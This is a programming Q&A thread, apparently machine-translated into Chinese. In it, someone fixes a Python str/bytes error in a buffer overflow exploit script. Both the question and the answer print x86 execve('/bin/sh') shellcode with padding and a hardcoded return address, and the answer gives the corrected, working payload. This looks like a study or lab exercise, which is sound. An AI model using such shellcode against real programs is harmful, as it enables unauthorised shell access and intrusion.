结构包因字符串和整数输入而失败

Struct pack fails with string and integer input

我有一个程序可以为另一个程序提供一些输入。

看起来像这样

from pwn import *
import struct
# buffer \xb0\xc9\xff\xff'
print(p32(0xffffc9b0))

size = 268


payload = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" \
          "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" \
          "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"      

payload += "A" * (size-len(payload))

payload += struct.pack("I", 0xffffc9b0)

print(payload)

当我 运行 它时,我得到这个错误:

  File "exploit.py", line 16, in <module>
    payload += struct.pack("I", 0xffffc9b0)
TypeError: can only concatenate str (not "bytes") to str

它与进入 pack() 函数的类型有关。 当我查看 pack 的文档时,它看起来像这样:

>>> from struct import *
>>> pack('hhl', 1, 2, 3)

这看起来应该可行。可能跟参数的数量有关?

有人可以帮助我实现我在这里想要实现的目标吗?

您误诊了问题 - 错误不会在 struct.pack 调用期间发生,而是在您尝试将该调用的结果连接到 payload 变量时发生。

错误消息告诉您问题所在。您最初将有效负载定义为 string, but the result of the struct.pack call is a bytes 对象。您不能将字节连接到字符串。

可能,您想将原始有效负载定义为字节对象,如下所示:

from pwn import *
import struct

size = 268
payload = (
    b"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
    b"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
    b"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
)
payload += b"A" * (size - len(payload))
payload += struct.pack("I", 0xffffc9b0)
print(payload)